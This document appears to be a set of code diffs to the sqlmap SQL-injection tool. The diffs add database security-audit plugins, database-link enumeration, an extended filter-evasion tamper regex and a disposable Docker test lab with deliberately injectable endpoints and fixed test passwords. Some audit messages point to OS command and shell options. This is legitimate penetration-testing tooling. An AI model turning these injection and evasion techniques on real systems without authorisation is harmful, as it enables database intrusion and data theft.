flags = dict((key, ("enabled", "disabled")) for key in ("local_infile", "require_secure_transport", "read_only", "super_read_only", "general_log", "log_bin", "skip_networking", "skip_grant_tables"))
|
||||
flags["direct FILE grant"] = ("present", "absent")
|
||||
|
||||
def __init__(self):
|
||||
configuration = ("audit_configuration_mariadb", "audit_configuration") if Backend.isFork(FORK.MARIADB) else ("audit_configuration", "audit_configuration_mariadb")
|
||||
self.queries = (("identity", ("audit_identity",)), ("configuration", configuration),
|
||||
("file access", ("audit_file_access",)), ("privileges", ("audit_privileges",)))
|
||||
|
||||
def explain(self, groups):
|
||||
facts = groups.get("file access") or {}
|
||||
privileges = groups.get("privileges") or {}
|
||||
result = []
|
||||
disabled = False
|
||||
if "secure_file_priv" in facts:
|
||||
value = facts["secure_file_priv"]
|
||||
# MariaDB can expose an unrestricted value as SQL NULL; MySQL can expose
|
||||
# its disabled value as the literal string "NULL". Keep the raw fact.
|
||||
disabled = (value is None or value.upper() == "NULL") and not Backend.isFork(FORK.MARIADB)
|
||||
if disabled:
|
||||
result.append("File operations: secure_file_priv=NULL blocks --file-read and --file-write")
|
||||
elif not value:
|
||||
result.append("File operations: no directory restriction from secure_file_priv")
|
||||
else:
|
||||
result.append("File operations: --file-read and --file-dest paths must be inside '%s'" % value)
|
||||
if privileges.get("direct FILE grant") == "1" and not disabled:
|
||||
message = "File read: FILE granted; use --file-read with a server-side path"
|
||||
if facts.get("max_allowed_packet"):
|
||||
message += " (file size < %s bytes)" % facts["max_allowed_packet"]
|
||||
result.append(message)
|
||||
return result
|
||||
@@ -34,7 +34,7 @@ class Connector(GenericConnector):
|
||||
|
||||
try:
|
||||
self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
|
||||
except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex:
|
||||
except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error, UnicodeEncodeError) as ex:
|
||||
raise SqlmapConnectionException(getSafeExString(ex))
|
||||
|
||||
self.initCursor()
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.ORACLE
|
||||
queries = (("identity", ("audit_identity",)), ("configuration", ("audit_configuration",)),
|
||||
("privileges", ("audit_privileges",)), ("directory grants", ("audit_directories",)))
|
||||
|
||||
def explain(self, groups):
|
||||
grants = groups.get("directory grants") or {}
|
||||
count = grants.get("visible directory grants")
|
||||
if count and count.isdigit() and int(count) > AUDIT_MAX_ROWS:
|
||||
return ["Directory grants: showing %d of %s" % (len(grants) - 1, count)]
|
||||
return []
|
||||
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from plugins.generic.audit import Audit as GenericAudit
|
||||
|
||||
|
||||
class Audit(GenericAudit):
|
||||
dbms = DBMS.PGSQL
|
||||
queries = (("identity", ("audit_identity",)), ("configuration", ("audit_configuration",)),
|
||||
("privileges", ("audit_privileges",)))
|
||||
flags = dict((key, ("yes", "no")) for key in ("superuser", "bypass RLS", "pg_read_server_files", "pg_write_server_files", "pg_execute_server_program"))
|
||||
|
||||
def explain(self, groups):
|
||||
privileges = groups.get("privileges") or {}
|
||||
superuser = privileges.get("superuser") == "1"
|
||||
result = []
|
||||
if superuser or privileges.get("pg_read_server_files") == "1":
|
||||
result.append("File read: server-file privilege granted; use --file-read with a server-side path")
|
||||
if superuser and self._auditCanExecute():
|
||||
result.append("File write: superuser and statement execution available; use --file-write and --file-dest")
|
||||
if superuser or privileges.get("pg_execute_server_program") == "1":
|
||||
if self._auditCanExecute():
|
||||
result.append("Command execution: COPY FROM PROGRAM privilege granted; use --os-cmd or --os-shell")
|
||||
else:
|
||||
result.append("Command execution: COPY FROM PROGRAM privilege granted; no statement execution route identified")
|
||||
if superuser or privileges.get("bypass RLS") == "1":
|
||||
result.append("Row security: current role bypasses row-level security")
|
||||
return result
|
||||
@@ -0,0 +1,113 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import arrayizeValue
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isNoneValue
|
||||
from lib.core.common import isStackingAvailable
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from lib.request import inject
|
||||
from thirdparty import six
|
||||
|
||||
|
||||
class Audit(object):
|
||||
# Each snippet returns (audit_key, audit_value). Values are tagged N (SQL NULL) or V<text>
|
||||
# so extraction's normal NULL/empty-string handling cannot silently change their meaning.
|
||||
dbms = None
|
||||
queries = ()
|
||||
flags = {}
|
||||
|
||||
def _auditFetch(self, snippet):
|
||||
# Extraction locates fields and FROM clauses on one line.
|
||||
query = getSQLSnippet(self.dbms, snippet, LIMIT=str(AUDIT_MAX_ROWS)).replace("\r", " ").replace("\n", " ")
|
||||
try:
|
||||
values = inject.getValue(query, fromUser=True, batch=True, safeCharEncode=False)
|
||||
except SqlmapNoneDataException:
|
||||
values = None
|
||||
if isNoneValue(values):
|
||||
# Extraction can return None for both zero rows and a failed query.
|
||||
# Confirm emptiness rather than inferring a database error from it.
|
||||
countQuery = "SELECT COUNT(*) FROM (%s) audit_count" % query.rsplit(" ORDER BY ", 1)[0]
|
||||
try:
|
||||
count = inject.getValue(countQuery, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
except SqlmapNoneDataException:
|
||||
return None
|
||||
return {} if getUnicode(unArrayizeValue(count)) == "0" else None
|
||||
if isListLike(values) and len(values) == 2 and not any(isListLike(_) for _ in values):
|
||||
values = [values]
|
||||
facts = {}
|
||||
for row in arrayizeValue(values):
|
||||
if not isListLike(row) or len(row) != 2:
|
||||
return None
|
||||
key, value = row
|
||||
if isNoneValue(key) or not isinstance(value, six.string_types):
|
||||
return None
|
||||
if value == "N":
|
||||
value = None
|
||||
elif value.startswith("V"):
|
||||
value = value[1:]
|
||||
else:
|
||||
return None
|
||||
# DBMS CHAR expressions can pad the keys; preserve value whitespace.
|
||||
facts[getUnicode(key).rstrip(" ")] = value
|
||||
return facts
|
||||
|
||||
def failure(self, scope, groups):
|
||||
return "%s: retrieval failed" % scope
|
||||
|
||||
def _auditCanExecute(self):
|
||||
# Use known execution routes; audit must not probe takeover gadgets.
|
||||
return bool(conf.direct or isStackingAvailable() or kb.get("gadget"))
|
||||
|
||||
def explain(self, groups):
|
||||
return []
|
||||
|
||||
def getAudit(self):
|
||||
if kb.data.cachedAudit:
|
||||
return kb.data.cachedAudit
|
||||
logger.info("fetching security configuration and session capabilities")
|
||||
groups = {}
|
||||
result = []
|
||||
for scope, snippets in self.queries:
|
||||
facts = None
|
||||
for snippet in snippets:
|
||||
facts = self._auditFetch(snippet)
|
||||
if facts is not None:
|
||||
break
|
||||
groups[scope] = facts
|
||||
if facts is None:
|
||||
result.append(self.failure(scope, groups))
|
||||
continue
|
||||
if not facts:
|
||||
result.append("%s: no entries" % scope)
|
||||
for key in sorted(facts):
|
||||
if facts[key] is None:
|
||||
value = "<NULL>"
|
||||
elif facts[key] == "":
|
||||
value = "<empty>"
|
||||
else:
|
||||
value = facts[key]
|
||||
if key in self.flags:
|
||||
if value.lower() in ("1", "on", "true", "yes"):
|
||||
value = self.flags[key][0]
|
||||
elif value.lower() in ("0", "off", "false", "no"):
|
||||
value = self.flags[key][1]
|
||||
result.append("%s / %s: %s" % (scope, key, value))
|
||||
result.extend(self.explain(groups))
|
||||
result = [safecharencode(_) for _ in result]
|
||||
kb.data.cachedAudit = result
|
||||
return result
|
||||
@@ -12,10 +12,12 @@ import sys
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getSQLSnippet
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isStackingAvailable
|
||||
from lib.core.common import joinValue
|
||||
from lib.core.common import readCachedFileContent
|
||||
from lib.core.common import splitFields
|
||||
from lib.core.common import zeroDepthSearch
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
@@ -148,12 +150,12 @@ class Custom(object):
|
||||
if not filename:
|
||||
continue
|
||||
|
||||
snippet = getSQLSnippet(Backend.getDbms(), filename)
|
||||
# User SQL is not a bundled procedure template: preserve literals and percent tokens.
|
||||
snippet = readCachedFileContent(filename)
|
||||
queries = [_.strip() for _ in splitFields(snippet, delimiter=';' if zeroDepthSearch(snippet, ';') else '\n') if _.strip()]
|
||||
|
||||
if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _)):
|
||||
for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _):
|
||||
query = query.strip()
|
||||
if query:
|
||||
conf.dumper.sqlQuery(query, self.sqlQuery(query))
|
||||
else:
|
||||
if queries and all(query.upper().startswith("SELECT") for query in queries):
|
||||
for query in queries:
|
||||
conf.dumper.sqlQuery(query, self.sqlQuery(query))
|
||||
elif queries:
|
||||
conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet))
|
||||
@@ -72,6 +72,8 @@ class Databases(object):
|
||||
kb.data.dumpedTable = {}
|
||||
kb.data.cachedStatements = []
|
||||
kb.data.cachedProcedures = []
|
||||
kb.data.cachedLinks = []
|
||||
kb.data.cachedAudit = []
|
||||
|
||||
def getCurrentDb(self):
|
||||
infoMsg = "fetching current database"
|
||||
@@ -1181,6 +1183,53 @@ class Databases(object):
|
||||
|
||||
return kb.data.cachedStatements
|
||||
|
||||
def getLinks(self):
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
if dbms not in queries or "links" not in queries[dbms]:
|
||||
logger.warning("enumeration of database links is not supported on %s" % dbms)
|
||||
return []
|
||||
|
||||
if kb.data.cachedLinks:
|
||||
return kb.data.cachedLinks
|
||||
|
||||
logger.info("fetching database links visible to the current user")
|
||||
rootQuery = queries[dbms].links
|
||||
|
||||
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
|
||||
values = inject.getValue(rootQuery.inband.query, blind=False, time=False)
|
||||
if not isNoneValue(values):
|
||||
for value in arrayizeValue(values):
|
||||
value = unArrayizeValue(value)
|
||||
if not isNoneValue(value):
|
||||
kb.data.cachedLinks.append(value.strip())
|
||||
|
||||
if not kb.data.cachedLinks and isInferenceAvailable() and not conf.direct:
|
||||
count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
if count in (0, "0"):
|
||||
return []
|
||||
elif not isNumPosStrValue(count):
|
||||
logger.warning("unable to retrieve the number of database links")
|
||||
return []
|
||||
|
||||
for index in getLimitRange(count):
|
||||
value = unArrayizeValue(inject.getValue(rootQuery.blind.query % index, union=False, error=False))
|
||||
if not isNoneValue(value):
|
||||
kb.data.cachedLinks.append(value.strip())
|
||||
|
||||
return kb.data.cachedLinks
|
||||
|
||||
def getAudit(self):
|
||||
from importlib import import_module
|
||||
from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE) or Backend.isFork(FORK.DUCKDB):
|
||||
logger.warning("security configuration audit is not supported on %s" % dbms)
|
||||
return []
|
||||
|
||||
module = import_module("plugins.dbms.%s.audit" % DBMS_DIRECTORY_DICT[dbms])
|
||||
return module.Audit().getAudit()
|
||||
|
||||
def getProcedures(self):
|
||||
infoMsg = "fetching stored procedures"
|
||||
logger.info(infoMsg)
|
||||
|
||||
+14
-3
@@ -25,8 +25,8 @@ bulkFile =
|
||||
# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme
|
||||
requestFile =
|
||||
|
||||
# Rather than providing a target URL, let Google return target
|
||||
# hosts as result of your Google dork expression. For a list of Google
|
||||
# Rather than providing a target URL, let the search engine return target
|
||||
# hosts as result of your dork expression. For a list of
|
||||
# dorks see Google Hacking Database at
|
||||
# https://www.exploit-db.com/google-hacking-database
|
||||
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
|
||||
@@ -544,6 +544,14 @@ getComments = False
|
||||
# Valid: True or False
|
||||
getStatements = False
|
||||
|
||||
# Enumerate database management system links and their destinations.
|
||||
# Valid: True or False
|
||||
getLinks = False
|
||||
|
||||
# Audit database security configuration and current-session capabilities.
|
||||
# Valid: True or False
|
||||
getAudit = False
|
||||
|
||||
# Back-end database management system database to enumerate.
|
||||
db =
|
||||
|
||||
@@ -789,7 +797,7 @@ forms = False
|
||||
# Valid: True or False
|
||||
freshQueries = False
|
||||
|
||||
# Use Google dork results from specified page number.
|
||||
# Use dork results from specified page number.
|
||||
# Valid: integer
|
||||
# Default: 1
|
||||
googlePage = 1
|
||||
@@ -805,6 +813,9 @@ outputDir =
|
||||
# Valid: True or False
|
||||
parseErrors = False
|
||||
|
||||
# Run a Python refresh() script returning replacement headers on HTTP 401.
|
||||
authRefresh =
|
||||
|
||||
# Use given script(s) for preprocessing of request.
|
||||
preprocess =
|
||||
|
||||
|
||||
@@ -8,10 +8,24 @@ See the file 'LICENSE' for copying permission
|
||||
from __future__ import print_function
|
||||
|
||||
try:
|
||||
import os
|
||||
import sys
|
||||
|
||||
sys.dont_write_bytecode = True
|
||||
|
||||
# Reference: https://github.com/python/cpython/issues/156319 - CPython's tier-2 optimizer can
|
||||
# corrupt frame locals (raising exceptions the executed code cannot produce), but only when the
|
||||
# experimental JIT is on AND a sys.monitoring tool (debugger/profiler/coverage run) is active at
|
||||
# the same time - neither alone triggers it. So only silence monitoring when the JIT is also on;
|
||||
# otherwise leave it alone (e.g. a legitimate `coverage run sqlmap.py ...` must keep working).
|
||||
if hasattr(sys, "monitoring") and (sys._jit.is_enabled() if hasattr(sys, "_jit") else (sys.version_info >= (3, 13) and os.environ.get("PYTHON_JIT") == '1')):
|
||||
for _ in range(6): # valid tool id range (Reference: https://docs.python.org/3/library/sys.monitoring.html)
|
||||
try:
|
||||
if sys.monitoring.get_tool(_) is not None:
|
||||
sys.monitoring.set_events(_, sys.monitoring.events.NO_EVENTS)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
__import__("lib.utils.versioncheck") # this has to be the first non-standard import
|
||||
except ImportError:
|
||||
@@ -558,6 +572,17 @@ def main():
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
|
||||
elif (sys._jit.is_enabled() if hasattr(sys, "_jit") else (sys.version_info >= (3, 13) and os.environ.get("PYTHON_JIT") == '1')):
|
||||
errMsg = "the experimental Python JIT compiler is turned on. CPython has an open defect where "
|
||||
errMsg += "the tier-2 optimizer runs the wrong instruction stream against a correct frame, raising "
|
||||
errMsg += "exceptions that the executed code cannot produce "
|
||||
errMsg += "(Reference: 'https://github.com/python/cpython/issues/156319'). Please rerun with it "
|
||||
errMsg += "turned off (e.g. 'PYTHON_JIT=0') and report the problem only if it still occurs"
|
||||
logger.critical(errMsg)
|
||||
print()
|
||||
dataToStdout(excMsg)
|
||||
raise SystemExit
|
||||
|
||||
for match in re.finditer(r'File "(.+?)", line', excMsg):
|
||||
file_ = match.group(1)
|
||||
try:
|
||||
|
||||
@@ -38,6 +38,8 @@ def tamper(payload, **kwargs):
|
||||
'1 AND A BETWEEN B AND B--'
|
||||
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
|
||||
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
|
||||
>>> tamper('CASE WHEN 1=2 THEN id ELSE 0 END')
|
||||
'CASE WHEN 1 BETWEEN 2 AND 2 THEN id ELSE 0 END'
|
||||
"""
|
||||
|
||||
retVal = payload
|
||||
@@ -58,4 +60,7 @@ def tamper(payload, **kwargs):
|
||||
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
|
||||
retVal = retVal.replace(match.group(0), _)
|
||||
|
||||
# e.g. CASE WHEN 1=1 THEN ... (expression-position payloads with no AND/OR to anchor on)
|
||||
retVal = re.sub(r"(?i)(\bWHEN\s+)([\w.]+)\s*(?<![<>!])=(?!=)\s*([\w.]+)(?=\s)", r"\g<1>\g<2> BETWEEN \g<3> AND \g<3>", retVal)
|
||||
|
||||
return retVal
|
||||
@@ -0,0 +1,5 @@
|
||||
FROM python:3.12-slim
|
||||
RUN pip install --no-cache-dir flask==3.1.3 pymysql==1.2.3 'psycopg[binary]==3.3.6' python-tds==1.17.1 oracledb==26.0.1
|
||||
WORKDIR /lab
|
||||
COPY server.py db.py seed.py probe.py /lab/
|
||||
CMD ["python", "/lab/server.py"]
|
||||
@@ -0,0 +1,42 @@
|
||||
# Disposable security audit matrix
|
||||
|
||||
Run from the repository root on a local Docker host:
|
||||
|
||||
```sh
|
||||
python3 tests/integration/audit/run.py
|
||||
```
|
||||
|
||||
Requires Python 3, Docker Compose, Internet access for images and roughly 12 GB
|
||||
available memory. The SQL Server image requires an x86-64 host. Oracle image
|
||||
support also depends on host architecture and page size. Application drivers are
|
||||
installed only inside the fixture image; sqlmap gains no dependencies.
|
||||
|
||||
The runner creates an isolated `sqlmap-audit-<pid>` Compose project. Database ports
|
||||
are internal; deliberately injectable HTTP endpoints bind to random localhost
|
||||
ports. Credentials are synthetic and fixed for these disposable databases. The
|
||||
runner does not access the remote sqlmap testbed or existing database services.
|
||||
It removes its own containers, networks and volumes on completion, including a
|
||||
failed assertion. `--keep` retains them for investigation; remove the retained
|
||||
project with `docker compose -p <project> -f tests/integration/audit/compose.yml down --volumes`.
|
||||
|
||||
The matrix covers MySQL 8, MariaDB 10.11, PostgreSQL 16, SQL Server 2022 and
|
||||
Oracle Free 23, with administrator, application and restricted accounts. Two
|
||||
additional MySQL instances exercise unrestricted and disabled file operations.
|
||||
It compares native metadata results with real UNION SQLi for every account and
|
||||
boolean blind SQLi for each engine's application account, using five threads.
|
||||
Variable listings retain total counts and show at most 20 details. Additional
|
||||
scenarios cover oversized listings, escaped control characters, confirmed empty
|
||||
queries, RLS enforcement and command advice with and without stacked execution.
|
||||
It also checks that audits leave configuration unchanged, that revoking grants
|
||||
and changing settings changes the result, and that database root with FILE
|
||||
privilege still cannot read a root-only fixture file. Filesystem probes and
|
||||
configuration changes belong to the fixture provisioner; `--audit` performs
|
||||
metadata reads only.
|
||||
|
||||
Use `--native-only` for database queries and permission/configuration/filesystem
|
||||
checks without the HTTP scans. Logs and native reference results go to a printed
|
||||
temporary directory. For a previously seeded retained project:
|
||||
|
||||
```sh
|
||||
python3 tests/integration/audit/run.py --project sqlmap-audit-<id> --reuse --keep
|
||||
```
|
||||
@@ -0,0 +1,82 @@
|
||||
services:
|
||||
mysql:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=/var/lib/mysql-files', '--local-infile=OFF']
|
||||
mem_limit: 1g
|
||||
mariadb:
|
||||
image: mariadb:10.11
|
||||
environment:
|
||||
MARIADB_ROOT_PASSWORD: AuditOnly!2026
|
||||
MARIADB_ROOT_HOST: '%'
|
||||
MARIADB_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=', '--local-infile=ON']
|
||||
mem_limit: 1g
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
environment:
|
||||
POSTGRES_PASSWORD: AuditOnly!2026
|
||||
POSTGRES_DB: auditlab
|
||||
mem_limit: 1g
|
||||
mssql:
|
||||
image: mcr.microsoft.com/mssql/server:2022-latest
|
||||
environment:
|
||||
ACCEPT_EULA: Y
|
||||
MSSQL_PID: Developer
|
||||
MSSQL_SA_PASSWORD: AuditOnly!2026
|
||||
mem_limit: 2g
|
||||
oracle:
|
||||
image: gvenzl/oracle-free:23.26.0-slim-faststart
|
||||
environment:
|
||||
ORACLE_PASSWORD: AuditOnly!2026
|
||||
APP_USER: audit_owner
|
||||
APP_USER_PASSWORD: AuditOnly!2026
|
||||
mem_limit: 4g
|
||||
web-mysql:
|
||||
build: .
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mariadb:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mariadb}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-postgres:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: postgres}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mssql:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mssql}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-oracle:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: oracle}
|
||||
ports: ['127.0.0.1::8080']
|
||||
mysql-open:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=', '--local-infile=ON']
|
||||
mem_limit: 1g
|
||||
mysql-disabled:
|
||||
image: mysql:8.0
|
||||
environment:
|
||||
MYSQL_ROOT_PASSWORD: AuditOnly!2026
|
||||
MYSQL_ROOT_HOST: '%'
|
||||
MYSQL_DATABASE: auditlab
|
||||
command: ['--secure-file-priv=NULL', '--local-infile=OFF']
|
||||
mem_limit: 1g
|
||||
web-mysql-open:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql, DB_HOST: mysql-open}
|
||||
ports: ['127.0.0.1::8080']
|
||||
web-mysql-disabled:
|
||||
image: sqlmap-audit-fixture:local
|
||||
environment: {ENGINE: mysql, DB_HOST: mysql-disabled}
|
||||
ports: ['127.0.0.1::8080']
|
||||
@@ -0,0 +1,27 @@
|
||||
import os
|
||||
import threading
|
||||
|
||||
engine = os.environ['ENGINE']
|
||||
password = 'AuditOnly!2026'
|
||||
host = os.environ.get('DB_HOST', engine)
|
||||
pools = {}
|
||||
poolLock = threading.Lock()
|
||||
|
||||
|
||||
def connect(account, pooled=False):
|
||||
if engine in ('mysql', 'mariadb'):
|
||||
import pymysql
|
||||
return pymysql.connect(host=host, user=account, password=password, database='auditlab', autocommit=True)
|
||||
if engine == 'postgres':
|
||||
import psycopg
|
||||
return psycopg.connect(host=host, user=account, password=password, dbname='auditlab', autocommit=True)
|
||||
if engine == 'mssql':
|
||||
import pytds
|
||||
return pytds.connect(host, user=account, password=password, database='master', autocommit=True)
|
||||
import oracledb
|
||||
if pooled:
|
||||
with poolLock:
|
||||
if account not in pools:
|
||||
pools[account] = oracledb.create_pool(user=account, password=password, dsn=host+'/FREEPDB1', min=1, max=10, increment=1)
|
||||
return pools[account].acquire()
|
||||
return oracledb.connect(user=account, password=password, dsn=host+'/FREEPDB1', mode=oracledb.AUTH_MODE_SYSDBA if account == 'sys' else oracledb.AUTH_MODE_DEFAULT)
|
||||
@@ -0,0 +1,12 @@
|
||||
#!/usr/bin/env python
|
||||
"""Execute fixture SQL over a real DB-API connection for ground-truth checks."""
|
||||
import json
|
||||
import sys
|
||||
from db import connect
|
||||
conn = connect(sys.argv[1])
|
||||
try:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(sys.stdin.read())
|
||||
print(json.dumps(cursor.fetchall() if cursor.description else [], default=str))
|
||||
finally:
|
||||
conn.close()
|
||||
@@ -0,0 +1,268 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Opt-in Docker audit matrix. Runtime sqlmap itself acquires metadata only.
|
||||
|
||||
This fixture provisioner deliberately changes settings, grants and synthetic files inside
|
||||
its own disposable containers, then verifies the audit over native SQL and real SQLi.
|
||||
"""
|
||||
from __future__ import print_function
|
||||
|
||||
import argparse
|
||||
import concurrent.futures
|
||||
import json
|
||||
import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[3]
|
||||
LAB = Path(__file__).resolve().parent
|
||||
sys.path.insert(0, str(ROOT))
|
||||
sys.path.insert(0, str(ROOT / 'tests'))
|
||||
from _testutils import bootstrap, set_dbms
|
||||
bootstrap()
|
||||
from lib.core.enums import DBMS, FORK, EXPECTED
|
||||
from lib.core.common import Backend, getSQLSnippet, unArrayizeValue
|
||||
from lib.core.data import conf
|
||||
from lib.core.settings import AUDIT_MAX_ROWS
|
||||
from lib.request import inject
|
||||
from plugins.generic.databases import Databases
|
||||
|
||||
ENGINES = {'mysql': (DBMS.MYSQL, 'root'), 'mariadb': (DBMS.MYSQL, 'root'),
|
||||
'postgres': (DBMS.PGSQL, 'postgres'), 'mssql': (DBMS.MSSQL, 'sa'),
|
||||
'oracle': (DBMS.ORACLE, 'audit_owner'),
|
||||
'mysql-open': (DBMS.MYSQL, 'root'), 'mysql-disabled': (DBMS.MYSQL, 'root')}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument('--project', default='sqlmap-audit-%d' % os.getpid())
|
||||
parser.add_argument('--reuse', action='store_true', help='Use an already seeded audit project')
|
||||
parser.add_argument('--keep', action='store_true', help='Keep this disposable project for debugging')
|
||||
parser.add_argument('--native-only', action='store_true', help='Skip the HTTP SQLi matrix')
|
||||
args = parser.parse_args()
|
||||
if not re.match(r'^sqlmap-audit-[a-z0-9-]+$', args.project):
|
||||
parser.error('project must have the sqlmap-audit- prefix')
|
||||
compose = ['docker', 'compose', '-p', args.project, '-f', str(LAB / 'compose.yml')]
|
||||
logs = Path(tempfile.mkdtemp(prefix='sqlmap-audit-matrix-'))
|
||||
print('Logs: %s' % logs, flush=True)
|
||||
|
||||
def command(argv, data=None, check=True, timeout=240):
|
||||
result = subprocess.run(argv, input=data, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
||||
text=True, timeout=timeout)
|
||||
if check and result.returncode:
|
||||
raise AssertionError('%s\n%s\n%s' % (' '.join(argv), result.stdout, result.stderr))
|
||||
return result
|
||||
|
||||
def sql(engine, account, query, check=True):
|
||||
result = command(compose + ['exec', '-T', 'web-' + engine, 'python', '/lab/probe.py', account], query, check)
|
||||
return json.loads(result.stdout) if result.returncode == 0 else None
|
||||
|
||||
def native(engine, account, statement=False):
|
||||
dbms = ENGINES[engine][0]
|
||||
set_dbms(dbms)
|
||||
# MariaDB is a MySQL plugin fork; native probes don't run the normal fingerprint.
|
||||
original_fork = Backend.isFork
|
||||
Backend.isFork = staticmethod(lambda fork: engine == 'mariadb' and fork == FORK.MARIADB)
|
||||
original_direct = conf.direct
|
||||
conf.direct = statement
|
||||
original = inject.getValue
|
||||
calls = []
|
||||
def getValue(query, **kwargs):
|
||||
assert query.startswith('SELECT ')
|
||||
calls.append(query)
|
||||
rows = sql(engine, account, query, check=False)
|
||||
return unArrayizeValue(rows) if kwargs.get("expected") == EXPECTED.INT else rows
|
||||
inject.getValue = getValue
|
||||
try:
|
||||
result = Databases().getAudit()
|
||||
assert calls
|
||||
assert not any(line.startswith('OS boundary:') for line in result)
|
||||
return sorted(set(result))
|
||||
finally:
|
||||
conf.direct = original_direct
|
||||
inject.getValue = original
|
||||
Backend.isFork = staticmethod(original_fork)
|
||||
|
||||
def scan(engine, account, technique, expected):
|
||||
address = command(compose + ['port', 'web-' + engine, '8080']).stdout.strip()
|
||||
url = 'http://%s/%s/get_int?id=1' % (address, account)
|
||||
label = '%s-%s-%s' % (engine, account, technique)
|
||||
cmd = [sys.executable, str(ROOT / 'sqlmap.py'), '-u', url,
|
||||
'--dbms=' + ENGINES[engine][0], '--batch', '--technique=' + technique,
|
||||
'--threads=5', '--audit', '--skip-waf', '--disable-precon', '--flush-session',
|
||||
'--output-dir=' + str(logs / label)]
|
||||
result = command(cmd, check=False, timeout=900)
|
||||
(logs / (label + '.log')).write_text(result.stdout + result.stderr)
|
||||
assert result.returncode == 0, label
|
||||
audit_output = re.search(r'^database security audit[^\n]*\n((?:\[\*\] [^\n]*\n)+)', result.stdout, re.M)
|
||||
assert audit_output, label
|
||||
actual = sorted(set(re.findall(r'^\[\*\] (.*)$', audit_output.group(1), re.M)))
|
||||
assert actual == expected, '%s: missing=%r extra=%r' % (label, sorted(set(expected)-set(actual)), sorted(set(actual)-set(expected)))
|
||||
